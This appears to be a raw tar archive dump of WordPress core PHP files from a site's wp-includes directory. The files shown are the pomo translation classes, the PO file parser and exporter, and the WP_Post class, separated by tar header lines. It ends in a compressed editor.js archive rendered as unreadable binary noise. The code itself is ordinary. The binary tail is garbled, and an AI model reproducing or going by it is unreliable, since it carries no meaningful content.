			$translated = $this->translate_entry( $entry );
			return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular;
		}

		/**
		 * Given the number of items, returns the 0-based index of the plural form to use
		 *
		 * Here, in the base Translations class, the common logic for English is implemented:
		 *  0 if there is one element, 1 otherwise
		 *
		 * This function should be overridden by the subclasses. For example MO/PO can derive the logic
		 * from their headers.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count Number of items.
		 * @return int Plural form to use.
		 */
		public function select_plural_form( $count ) {
			return 1 === (int) $count ? 0 : 1;
		}

		/**
		 * Returns the plural forms count.
		 *
		 * @since 2.8.0
		 *
		 * @return int Plural forms count.
		 */
		public function get_plural_forms_count() {
			return 2;
		}

		/**
		 * Translates a plural string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $plural
		 * @param int    $count
		 * @param string $context
		 * @return string
		 */
		public function translate_plural( $singular, $plural, $count, $context = null ) {
			$entry              = new Translation_Entry(
				array(
					'singular' => $singular,
					'plural'   => $plural,
					'context'  => $context,
				)
			);
			$translated         = $this->translate_entry( $entry );
			$index              = $this->select_plural_form( $count );
			$total_plural_forms = $this->get_plural_forms_count();
			if ( $translated && 0 <= $index && $index < $total_plural_forms &&
				is_array( $translated->translations ) &&
				isset( $translated->translations[ $index ] ) ) {
				return $translated->translations[ $index ];
			} else {
				return 1 === (int) $count ? $singular : $plural;
			}
		}

		/**
		 * Merges other translations into the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference).
		 */
		public function merge_with( &$other ) {
			foreach ( $other->entries as $entry ) {
				$this->entries[ $entry->key() ] = $entry;
			}
		}

		/**
		 * Merges originals with existing entries.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other
		 */
		public function merge_originals_with( &$other ) {
			foreach ( $other->entries as $entry ) {
				if ( ! isset( $this->entries[ $entry->key() ] ) ) {
					$this->entries[ $entry->key() ] = $entry;
				} else {
					$this->entries[ $entry->key() ]->merge_with( $entry );
				}
			}
		}
	}

	/**
	 * Gettext_Translations class.
	 *
	 * @since 2.8.0
	 */
	class Gettext_Translations extends Translations {

		/**
		 * Number of plural forms.
		 *
		 * @var int
		 *
		 * @since 2.8.0
		 */
		public $_nplurals;

		/**
		 * Callback to retrieve the plural form.
		 *
		 * @var callable
		 *
		 * @since 2.8.0
		 */
		public $_gettext_select_plural_form;

		/**
		 * The gettext implementation of select_plural_form.
		 *
		 * It lives in this class, because there are more than one descendant, which will use it and
		 * they can't share it effectively.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count Plural forms count.
		 * @return int Plural form to use.
		 */
		public function gettext_select_plural_form( $count ) {
			if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) {
				list( $nplurals, $expression )     = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
				$this->_nplurals                   = $nplurals;
				$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
			}
			return call_user_func( $this->_gettext_select_plural_form, $count );
		}

		/**
		 * Returns the nplurals and plural forms expression from the Plural-Forms header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return array{0: int, 1: string}
		 */
		public function nplurals_and_expression_from_header( $header ) {
			if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) {
				$nplurals   = (int) $matches[1];
				$expression = trim( $matches[2] );
				return array( $nplurals, $expression );
			} else {
				return array( 2, 'n != 1' );
			}
		}

		/**
		 * Makes a function, which will return the right translation index, according to the
		 * plural forms header.
		 *
		 * @since 2.8.0
		 *
		 * @param int    $nplurals
		 * @param string $expression
		 * @return callable
		 */
		public function make_plural_form_function( $nplurals, $expression ) {
			try {
				$handler = new Plural_Forms( rtrim( $expression, ';' ) );
				return array( $handler, 'get' );
			} catch ( Exception $e ) {
				// Fall back to default plural-form function.
				return $this->make_plural_form_function( 2, 'n != 1' );
			}
		}

		/**
		 * Adds parentheses to the inner parts of ternary operators in
		 * plural expressions, because PHP evaluates ternary operators from left to right
		 *
		 * @since 2.8.0
		 * @deprecated 6.5.0 Use the Plural_Forms class instead.
		 *
		 * @see Plural_Forms
		 *
		 * @param string $expression the expression without parentheses
		 * @return string the expression with parentheses added
		 */
		public function parenthesize_plural_exression( $expression ) {
			$expression .= ';';
			$res         = '';
			$depth       = 0;
			for ( $i = 0; $i < strlen( $expression ); ++$i ) {
				$char = $expression[ $i ];
				switch ( $char ) {
					case '?':
						$res .= ' ? (';
						++$depth;
						break;
					case ':':
						$res .= ') : (';
						break;
					case ';':
						$res  .= str_repeat( ')', $depth ) . ';';
						$depth = 0;
						break;
					default:
						$res .= $char;
				}
			}
			return rtrim( $res, ';' );
		}

		/**
		 * Prepare translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param string $translation
		 * @return array<string, string> Translation headers
		 */
		public function make_headers( $translation ) {
			$headers = array();
			// Sometimes \n's are used instead of real new lines.
			$translation = str_replace( '\n', "\n", $translation );
			$lines       = explode( "\n", $translation );
			foreach ( $lines as $line ) {
				$parts = explode( ':', $line, 2 );
				if ( ! isset( $parts[1] ) ) {
					continue;
				}
				$headers[ trim( $parts[0] ) ] = trim( $parts[1] );
			}
			return $headers;
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @param string $value
		 */
		public function set_header( $header, $value ) {
			parent::set_header( $header, $value );
			if ( 'Plural-Forms' === $header ) {
				list( $nplurals, $expression )     = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
				$this->_nplurals                   = $nplurals;
				$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
			}
		}
	}
endif;

if ( ! class_exists( 'NOOP_Translations', false ) ) :
	/**
	 * Provides the same interface as Translations, but doesn't do anything.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class NOOP_Translations {
		/**
		 * List of translation entries.
		 *
		 * @since 2.8.0
		 *
		 * @var Translation_Entry[]
		 */
		public $entries = array();

		/**
		 * List of translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @var array<string, string>
		 */
		public $headers = array();

		public function add_entry( $entry ) {
			return true;
		}

		/**
		 * Sets a translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @param string $value
		 */
		public function set_header( $header, $value ) {
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param array $headers
		 */
		public function set_headers( $headers ) {
		}

		/**
		 * Returns a translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return false
		 */
		public function get_header( $header ) {
			return false;
		}

		/**
		 * Returns a given translation entry.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $entry
		 * @return false
		 */
		public function translate_entry( &$entry ) {
			return false;
		}

		/**
		 * Translates a singular string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $context
		 */
		public function translate( $singular, $context = null ) {
			return $singular;
		}

		/**
		 * Returns the plural form to use.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count
		 * @return int
		 */
		public function select_plural_form( $count ) {
			return 1 === (int) $count ? 0 : 1;
		}

		/**
		 * Returns the plural forms count.
		 *
		 * @since 2.8.0
		 *
		 * @return int
		 */
		public function get_plural_forms_count() {
			return 2;
		}

		/**
		 * Translates a plural string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $plural
		 * @param int    $count
		 * @param string $context
		 * @return string
		 */
		public function translate_plural( $singular, $plural, $count, $context = null ) {
			return 1 === (int) $count ? $singular : $plural;
		}

		/**
		 * Merges other translations into the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other
		 */
		public function merge_with( &$other ) {
		}
	}
endif;
po.php000064400000035775151024207750005717 0ustar00<?php
/**
 * Class for working with PO files
 *
 * @version $Id: po.php 1158 2015-11-20 04:31:23Z dd32 $
 * @package pomo
 * @subpackage po
 */

require_once __DIR__ . '/translations.php';

if ( ! defined( 'PO_MAX_LINE_LEN' ) ) {
	define( 'PO_MAX_LINE_LEN', 79 );
}

/*
 * The `auto_detect_line_endings` setting has been deprecated in PHP 8.1,
 * but will continue to work until PHP 9.0.
 * For now, we're silencing the deprecation notice as there may still be
 * translation files around which haven't been updated in a long time and
 * which still use the old MacOS standalone `\r` as a line ending.
 * This fix should be revisited when PHP 9.0 is in alpha/beta.
 */
@ini_set( 'auto_detect_line_endings', 1 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged

/**
 * Routines for working with PO files
 */
if ( ! class_exists( 'PO', false ) ) :
	class PO extends Gettext_Translations {

		public $comments_before_headers = '';

		/**
		 * Exports headers to a PO entry
		 *
		 * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end
		 */
		public function export_headers() {
			$header_string = '';
			foreach ( $this->headers as $header => $value ) {
				$header_string .= "$header: $value\n";
			}
			$poified = PO::poify( $header_string );
			if ( $this->comments_before_headers ) {
				$before_headers = $this->prepend_each_line( rtrim( $this->comments_before_headers ) . "\n", '# ' );
			} else {
				$before_headers = '';
			}
			return rtrim( "{$before_headers}msgid \"\"\nmsgstr $poified" );
		}

		/**
		 * Exports all entries to PO format
		 *
		 * @return string sequence of msgid/msgstr PO strings, doesn't contain a newline at the end
		 */
		public function export_entries() {
			// TODO: Sorting.
			return implode( "\n\n", array_map( array( 'PO', 'export_entry' ), $this->entries ) );
		}

		/**
		 * Exports the whole PO file as a string
		 *
		 * @param bool $include_headers whether to include the headers in the export
		 * @return string ready for inclusion in PO file string for headers and all the entries
		 */
		public function export( $include_headers = true ) {
			$res = '';
			if ( $include_headers ) {
				$res .= $this->export_headers();
				$res .= "\n\n";
			}
			$res .= $this->export_entries();
			return $res;
		}

		/**
		 * Same as {@link export}, but writes the result to a file
		 *
		 * @param string $filename        Where to write the PO string.
		 * @param bool   $include_headers Whether to include the headers in the export.
		 * @return bool true on success, false on error
		 */
		public function export_to_file( $filename, $include_headers = true ) {
			$fh = fopen( $filename, 'w' );
			if ( false === $fh ) {
				return false;
			}
			$export = $this->export( $include_headers );
			$res    = fwrite( $fh, $export );
			if ( false === $res ) {
				return false;
			}
			return fclose( $fh );
		}

		/**
		 * Text to include as a comment before the start of the PO contents
		 *
		 * Doesn't need to include # in the beginning of lines, these are added automatically
		 *
		 * @param string $text Text to include as a comment.
		 */
		public function set_comment_before_headers( $text ) {
			$this->comments_before_headers = $text;
		}

		/**
		 * Formats a string in PO-style
		 *
		 * @param string $input_string the string to format
		 * @return string the poified string
		 */
		public static function poify( $input_string ) {
			$quote   = '"';
			$slash   = '\\';
			$newline = "\n";

			$replaces = array(
				"$slash" => "$slash$slash",
				"$quote" => "$slash$quote",
				"\t"     => '\t',
			);

			$input_string = str_replace( array_keys( $replaces ), array_values( $replaces ), $input_string );

			$po = $quote . implode( "{$slash}n{$quote}{$newline}{$quote}", explode( $newline, $input_string ) ) . $quote;
			// Add empty string on first line for readability.
			if ( str_contains( $input_string, $newline ) &&
				( substr_count( $input_string, $newline ) > 1 || substr( $input_string, -strlen( $newline ) ) !== $newline ) ) {
				$po = "$quote$quote$newline$po";
			}
			// Remove empty strings.
			$po = str_replace( "$newline$quote$quote", '', $po );
			return $po;
		}

		/**
		 * Gives back the original string from a PO-formatted string
		 *
		 * @param string $input_string PO-formatted string
		 * @return string unescaped string
		 */
		public static function unpoify( $input_string ) {
			$escapes               = array(
				't'  => "\t",
				'n'  => "\n",
				'r'  => "\r",
				'\\' => '\\',
			);
			$lines                 = array_map( 'trim', explode( "\n", $input_string ) );
			$lines                 = array_map( array( 'PO', 'trim_quotes' ), $lines );
			$unpoified             = '';
			$previous_is_backslash = false;
			foreach ( $lines as $line ) {
				preg_match_all( '/./u', $line, $chars );
				$chars = $chars[0];
				foreach ( $chars as $char ) {
					if ( ! $previous_is_backslash ) {
						if ( '\\' === $char ) {
							$previous_is_backslash = true;
						} else {
							$unpoified .= $char;
						}
					} else {
						$previous_is_backslash = false;
						$unpoified            .= isset( $escapes[ $char ] ) ? $escapes[ $char ] : $char;
					}
				}
			}

			// Standardize the line endings on imported content, technically PO files shouldn't contain \r.
			$unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified );

			return $unpoified;
		}

		/**
		 * Inserts $with in the beginning of every new line of $input_string and
		 * returns the modified string
		 *
		 * @param string $input_string prepend lines in this string
		 * @param string $with         prepend lines with this string
		 */
		public static function prepend_each_line( $input_string, $with ) {
			$lines  = explode( "\n", $input_string );
			$append = '';
			if ( "\n" === substr( $input_string, -1 ) && '' === end( $lines ) ) {
				/*
				 * Last line might be empty because $input_string was terminated
				 * with a newline, remove it from the $lines array,
				 * we'll restore state by re-terminating the string at the end.
				 */
				array_pop( $lines );
				$append = "\n";
			}
			foreach ( $lines as &$line ) {
				$line = $with . $line;
			}
			unset( $line );
			return implode( "\n", $lines ) . $append;
		}

		/**
		 * Prepare a text as a comment -- wraps the lines and prepends #
		 * and a special character to each line
		 *
		 * @access private
		 * @param string $text the comment text
		 * @param string $char character to denote a special PO comment,
		 *  like :, default is a space
		 */
		public static function comment_block( $text, $char = ' ' ) {
			$text = wordwrap( $text, PO_MAX_LINE_LEN - 3 );
			return PO::prepend_each_line( $text, "#$char " );
		}

		/**
		 * Builds a string from the entry for inclusion in PO file
		 *
		 * @param Translation_Entry $entry the entry to convert to po string.
		 * @return string|false PO-style formatted string for the entry or
		 *  false if the entry is empty
		 */
		public static function export_entry( $entry ) {
			if ( null === $entry->singular || '' === $entry->singular ) {
				return false;
			}
			$po = array();
			if ( ! empty( $entry->translator_comments ) ) {
				$po[] = PO::comment_block( $entry->translator_comments );
			}
			if ( ! empty( $entry->extracted_comments ) ) {
				$po[] = PO::comment_block( $entry->extracted_comments, '.' );
			}
			if ( ! empty( $entry->references ) ) {
				$po[] = PO::comment_block( implode( ' ', $entry->references ), ':' );
			}
			if ( ! empty( $entry->flags ) ) {
				$po[] = PO::comment_block( implode( ', ', $entry->flags ), ',' );
			}
			if ( $entry->context ) {
				$po[] = 'msgctxt ' . PO::poify( $entry->context );
			}
			$po[] = 'msgid ' . PO::poify( $entry->singular );
			if ( ! $entry->is_plural ) {
				$translation = empty( $entry->translations ) ? '' : $entry->translations[0];
				$translation = PO::match_begin_and_end_newlines( $translation, $entry->singular );
				$po[]        = 'msgstr ' . PO::poify( $translation );
			} else {
				$po[]         = 'msgid_plural ' . PO::poify( $entry->plural );
				$translations = empty( $entry->translations ) ? array( '', '' ) : $entry->translations;
				foreach ( $translations as $i => $translation ) {
					$translation = PO::match_begin_and_end_newlines( $translation, $entry->plural );
					$po[]        = "msgstr[$i] " . PO::poify( $translation );
				}
			}
			return implode( "\n", $po );
		}

		public static function match_begin_and_end_newlines( $translation, $original ) {
			if ( '' === $translation ) {
				return $translation;
			}

			$original_begin    = "\n" === substr( $original, 0, 1 );
			$original_end      = "\n" === substr( $original, -1 );
			$translation_begin = "\n" === substr( $translation, 0, 1 );
			$translation_end   = "\n" === substr( $translation, -1 );

			if ( $original_begin ) {
				if ( ! $translation_begin ) {
					$translation = "\n" . $translation;
				}
			} elseif ( $translation_begin ) {
				$translation = ltrim( $translation, "\n" );
			}

			if ( $original_end ) {
				if ( ! $translation_end ) {
					$translation .= "\n";
				}
			} elseif ( $translation_end ) {
				$translation = rtrim( $translation, "\n" );
			}

			return $translation;
		}

		/**
		 * @param string $filename
		 * @return bool
		 */
		public function import_from_file( $filename ) {
			$f = fopen( $filename, 'r' );
			if ( ! $f ) {
				return false;
			}
			$lineno = 0;
			while ( true ) {
				$res = $this->read_entry( $f, $lineno );
				if ( ! $res ) {
					break;
				}
				if ( '' === $res['entry']->singular ) {
					$this->set_headers( $this->make_headers( $res['entry']->translations[0] ) );
				} else {
					$this->add_entry( $res['entry'] );
				}
			}
			PO::read_line( $f, 'clear' );
			if ( false === $res ) {
				return false;
			}
			if ( ! $this->headers && ! $this->entries ) {
				return false;
			}
			return true;
		}

		/**
		 * Helper function for read_entry
		 *
		 * @param string $context
		 * @return bool
		 */
		protected static function is_final( $context ) {
			return ( 'msgstr' === $context ) || ( 'msgstr_plural' === $context );
		}

		/**
		 * @param resource $f
		 * @param int      $lineno
		 * @return null|false|array
		 */
		public function read_entry( $f, $lineno = 0 ) {
			$entry = new Translation_Entry();
			// Where were we in the last step.
			// Can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural.
			$context      = '';
			$msgstr_index = 0;
			while ( true ) {
				++$lineno;
				$line = PO::read_line( $f );
				if ( ! $line ) {
					if ( feof( $f ) ) {
						if ( self::is_final( $context ) ) {
							break;
						} elseif ( ! $context ) { // We haven't read a line and EOF came.
							return null;
						} else {
							return false;
						}
					} else {
						return false;
					}
				}
				if ( "\n" === $line ) {
					continue;
				}
				$line = trim( $line );
				if ( preg_match( '/^#/', $line, $m ) ) {
					// The comment is the start of a new entry.
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						--$lineno;
						break;
					}
					// Comments have to be at the beginning.
					if ( $context && 'comment' !== $context ) {
						return false;
					}
					// Add comment.
					$this->add_comment_to_entry( $entry, $line );
				} elseif ( preg_match( '/^msgctxt\s+(".*")/', $line, $m ) ) {
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						--$lineno;
						break;
					}
					if ( $context && 'comment' !== $context ) {
						return false;
					}
					$context         = 'msgctxt';
					$entry->context .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgid\s+(".*")/', $line, $m ) ) {
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						--$lineno;
						break;
					}
					if ( $context && 'msgctxt' !== $context && 'comment' !== $context ) {
						return false;
					}
					$context          = 'msgid';
					$entry->singular .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgid_plural\s+(".*")/', $line, $m ) ) {
					if ( 'msgid' !== $context ) {
						return false;
					}
					$context          = 'msgid_plural';
					$entry->is_plural = true;
					$entry->plural   .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgstr\s+(".*")/', $line, $m ) ) {
					if ( 'msgid' !== $context ) {
						return false;
					}
					$context             = 'msgstr';
					$entry->translations = array( PO::unpoify( $m[1] ) );
				} elseif ( preg_match( '/^msgstr\[(\d+)\]\s+(".*")/', $line, $m ) ) {
					if ( 'msgid_plural' !== $context && 'msgstr_plural' !== $context ) {
						return false;
					}
					$context                      = 'msgstr_plural';
					$msgstr_index                 = $m[1];
					$entry->translations[ $m[1] ] = PO::unpoify( $m[2] );
				} elseif ( preg_match( '/^".*"$/', $line ) ) {
					$unpoified = PO::unpoify( $line );
					switch ( $context ) {
						case 'msgid':
							$entry->singular .= $unpoified;
							break;
						case 'msgctxt':
							$entry->context .= $unpoified;
							break;
						case 'msgid_plural':
							$entry->plural .= $unpoified;
							break;
						case 'msgstr':
							$entry->translations[0] .= $unpoified;
							break;
						case 'msgstr_plural':
							$entry->translations[ $msgstr_index ] .= $unpoified;
							break;
						default:
							return false;
					}
				} else {
					return false;
				}
			}

			$have_translations = false;
			foreach ( $entry->translations as $t ) {
				if ( $t || ( '0' === $t ) ) {
					$have_translations = true;
					break;
				}
			}
			if ( false === $have_translations ) {
				$entry->translations = array();
			}

			return array(
				'entry'  => $entry,
				'lineno' => $lineno,
			);
		}

		/**
		 * @param resource $f
		 * @param string   $action
		 * @return bool
		 */
		public function read_line( $f, $action = 'read' ) {
			static $last_line     = '';
			static $use_last_line = false;
			if ( 'clear' === $action ) {
				$last_line = '';
				return true;
			}
			if ( 'put-back' === $action ) {
				$use_last_line = true;
				return true;
			}
			$line          = $use_last_line ? $last_line : fgets( $f );
			$line          = ( "\r\n" === substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line;
			$last_line     = $line;
			$use_last_line = false;
			return $line;
		}

		/**
		 * @param Translation_Entry $entry
		 * @param string            $po_comment_line
		 */
		public function add_comment_to_entry( &$entry, $po_comment_line ) {
			$first_two = substr( $po_comment_line, 0, 2 );
			$comment   = trim( substr( $po_comment_line, 2 ) );
			if ( '#:' === $first_two ) {
				$entry->references = array_merge( $entry->references, preg_split( '/\s+/', $comment ) );
			} elseif ( '#.' === $first_two ) {
				$entry->extracted_comments = trim( $entry->extracted_comments . "\n" . $comment );
			} elseif ( '#,' === $first_two ) {
				$entry->flags = array_merge( $entry->flags, preg_split( '/,\s*/', $comment ) );
			} else {
				$entry->translator_comments = trim( $entry->translator_comments . "\n" . $comment );
			}
		}

		/**
		 * @param string $s
		 * @return string
		 */
		public static function trim_quotes( $s ) {
			if ( str_starts_with( $s, '"' ) ) {
				$s = substr( $s, 1 );
			}
			if ( str_ends_with( $s, '"' ) ) {
				$s = substr( $s, 0, -1 );
			}
			return $s;
		}
	}
endif;
14338/class-wp-post.php.tar000064400000020000151024420100011215 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-post.php000064400000014530151024205010024572 0ustar00<?php
/**
 * Post API: WP_Post class
 *
 * @package WordPress
 * @subpackage Post
 * @since 4.4.0
 */

/**
 * Core class used to implement the WP_Post object.
 *
 * @since 3.5.0
 *
 * @property string $page_template
 *
 * @property-read int[]    $ancestors
 * @property-read int[]    $post_category
 * @property-read string[] $tags_input
 */
#[AllowDynamicProperties]
final class WP_Post {

	/**
	 * Post ID.
	 *
	 * @since 3.5.0
	 * @var int
	 */
	public $ID;

	/**
	 * ID of post author.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_author = '0';

	/**
	 * The post's local publication time.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_date = '0000-00-00 00:00:00';

	/**
	 * The post's GMT publication time.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_date_gmt = '0000-00-00 00:00:00';

	/**
	 * The post's content.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_content = '';

	/**
	 * The post's title.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_title = '';

	/**
	 * The post's excerpt.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_excerpt = '';

	/**
	 * The post's status.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_status = 'publish';

	/**
	 * Whether comments are allowed.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $comment_status = 'open';

	/**
	 * Whether pings are allowed.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $ping_status = 'open';

	/**
	 * The post's password in plain text.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_password = '';

	/**
	 * The post's slug.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_name = '';

	/**
	 * URLs queued to be pinged.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $to_ping = '';

	/**
	 * URLs that have been pinged.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $pinged = '';

	/**
	 * The post's local modified time.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_modified = '0000-00-00 00:00:00';

	/**
	 * The post's GMT modified time.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_modified_gmt = '0000-00-00 00:00:00';

	/**
	 * A utility DB field for post content.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_content_filtered = '';

	/**
	 * ID of a post's parent post.
	 *
	 * @since 3.5.0
	 * @var int
	 */
	public $post_parent = 0;

	/**
	 * The unique identifier for a post, not necessarily a URL, used as the feed GUID.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $guid = '';

	/**
	 * A field used for ordering posts.
	 *
	 * @since 3.5.0
	 * @var int
	 */
	public $menu_order = 0;

	/**
	 * The post's type, like post or page.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_type = 'post';

	/**
	 * An attachment's mime type.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $post_mime_type = '';

	/**
	 * Cached comment count.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $comment_count = '0';

	/**
	 * Stores the post object's sanitization level.
	 *
	 * Does not correspond to a DB field.
	 *
	 * @since 3.5.0
	 * @var string
	 */
	public $filter;

	/**
	 * Retrieve WP_Post instance.
	 *
	 * @since 3.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $post_id Post ID.
	 * @return WP_Post|false Post object, false otherwise.
	 */
	public static function get_instance( $post_id ) {
		global $wpdb;

		$post_id = (int) $post_id;
		if ( ! $post_id ) {
			return false;
		}

		$_post = wp_cache_get( $post_id, 'posts' );

		if ( ! $_post ) {
			$_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) );

			if ( ! $_post ) {
				return false;
			}

			$_post = sanitize_post( $_post, 'raw' );
			wp_cache_add( $_post->ID, $_post, 'posts' );
		} elseif ( empty( $_post->filter ) || 'raw' !== $_post->filter ) {
			$_post = sanitize_post( $_post, 'raw' );
		}

		return new WP_Post( $_post );
	}

	/**
	 * Constructor.
	 *
	 * @since 3.5.0
	 *
	 * @param WP_Post|object $post Post object.
	 */
	public function __construct( $post ) {
		foreach ( get_object_vars( $post ) as $key => $value ) {
			$this->$key = $value;
		}
	}

	/**
	 * Isset-er.
	 *
	 * @since 3.5.0
	 *
	 * @param string $key Property to check if set.
	 * @return bool
	 */
	public function __isset( $key ) {
		if ( 'ancestors' === $key ) {
			return true;
		}

		if ( 'page_template' === $key ) {
			return true;
		}

		if ( 'post_category' === $key ) {
			return true;
		}

		if ( 'tags_input' === $key ) {
			return true;
		}

		return metadata_exists( 'post', $this->ID, $key );
	}

	/**
	 * Getter.
	 *
	 * @since 3.5.0
	 *
	 * @param string $key Key to get.
	 * @return mixed
	 */
	public function __get( $key ) {
		if ( 'page_template' === $key && $this->__isset( $key ) ) {
			return get_post_meta( $this->ID, '_wp_page_template', true );
		}

		if ( 'post_category' === $key ) {
			if ( is_object_in_taxonomy( $this->post_type, 'category' ) ) {
				$terms = get_the_terms( $this, 'category' );
			}

			if ( empty( $terms ) ) {
				return array();
			}

			return wp_list_pluck( $terms, 'term_id' );
		}

		if ( 'tags_input' === $key ) {
			if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) ) {
				$terms = get_the_terms( $this, 'post_tag' );
			}

			if ( empty( $terms ) ) {
				return array();
			}

			return wp_list_pluck( $terms, 'name' );
		}

		// Rest of the values need filtering.
		if ( 'ancestors' === $key ) {
			$value = get_post_ancestors( $this );
		} else {
			$value = get_post_meta( $this->ID, $key, true );
		}

		if ( $this->filter ) {
			$value = sanitize_post_field( $key, $value, $this->ID, $this->filter );
		}

		return $value;
	}

	/**
	 * {@Missing Summary}
	 *
	 * @since 3.5.0
	 *
	 * @param string $filter Filter.
	 * @return WP_Post
	 */
	public function filter( $filter ) {
		if ( $this->filter === $filter ) {
			return $this;
		}

		if ( 'raw' === $filter ) {
			return self::get_instance( $this->ID );
		}

		return sanitize_post( $this, $filter );
	}

	/**
	 * Convert object to array.
	 *
	 * @since 3.5.0
	 *
	 * @return array Object as array.
	 */
	public function to_array() {
		$post = get_object_vars( $this );

		foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) {
			if ( $this->__isset( $key ) ) {
				$post[ $key ] = $this->__get( $key );
			}
		}

		return $post;
	}
}
14338/editor.js.js.tar.gz000064400000716436151024420100010677 0ustar00��i{Gv 
߯¯H²�J,."
� Jp��T��p1Q��X�Y���p���g�x����g<�g�owk�-�u��?��	�'�Yb͌�)�_�m�2�ĉ�'N�8q��i��I��u�ͷ���� 
ڽ����d8H��n�{ގ�Qv�h���\�{�N����w�4�:a'�����o�ݽ}ۙ~��{�ݽ���xgqa��KwnC���w��k�7L3?�*�D]���ҿy�Z�y+�{/��y�<8����8K���(����k�@�w�� m����r��潻w��W���zffv��������b��Ar�ǽ`�㠝��0jga3�g~o�^μ��0A��8��z��[o��w#L�A;�{2��5����oܠ$Pe� �z�����Ub*T���0�!.�$�9:yʅ=��1H�,F��,�'�F��ɢ�P��4V}�u{{��Ƌ�Qz���`�~H�0��v���A��}�qO��;ͲAڜ�?	���1�����|�%�{����}����{�;�K���uoݿ�t��{�������_��^�O��|��8���v�OS�p��fc@z��������⌶=I����q������AI�
�g4�q�L�6V�Z[�7�Z���$�F�j�z�
�Լ����޳9�A=�a(��ۢ���b3,�	����&'t&��$�/aJ9�wx
{yi�h��(x�LLw�� 9��ȇ�0�p#�^<@�Ԭ�*��������]f��@�a�N��_� �^�f(��4�����{���f����0i��� ��Q�ϪXk�AU⭊��R��hJ�f�/kV[�Nj�#Y����n_��7]au��T�j�"T�€.u�ǚ@&��3�Y����lu�:�
!��<�M�A�d<1R1&���"8��(���
{Y��J)����i Pl���,(�pa(z�Lvx��䷃��yn�J���26��Db����,�>K.L~�y^y��*k�V[��D�a�
��:��I�Ԃ�
b����y~��Q��<:r&�Q�}�Q�Փ'Q�w��D>4(��ɍD�0H=?���yYLM	<�/А�<�y�P&�
�8��].��W�x���1"63�Z��l��1�������uP%H]�8W�%^�F���z�#�K֡`%;#�ʭ��_fS.�%_��8�
��k�/1錊!�ˑҒq�n�2M�e�k�r)��+��d8K0`3�Rn���qè�r*���6�9�x.�W�t9�&�ZV��
+W�Q�&~���u�NR�WK��F�_X̍�.M�<�t�\" �I7�XP��;�"�@�:��Ě��FWk�3�x��'z�Y	��w��x}�&v�%��Z1f�nטAFu�v
42���A![	Si�ay4�`Ŝ_6�F��@���q��r�:A��0c�H�)�1����95��!�"����9�D�I$�XU�di���{Q��
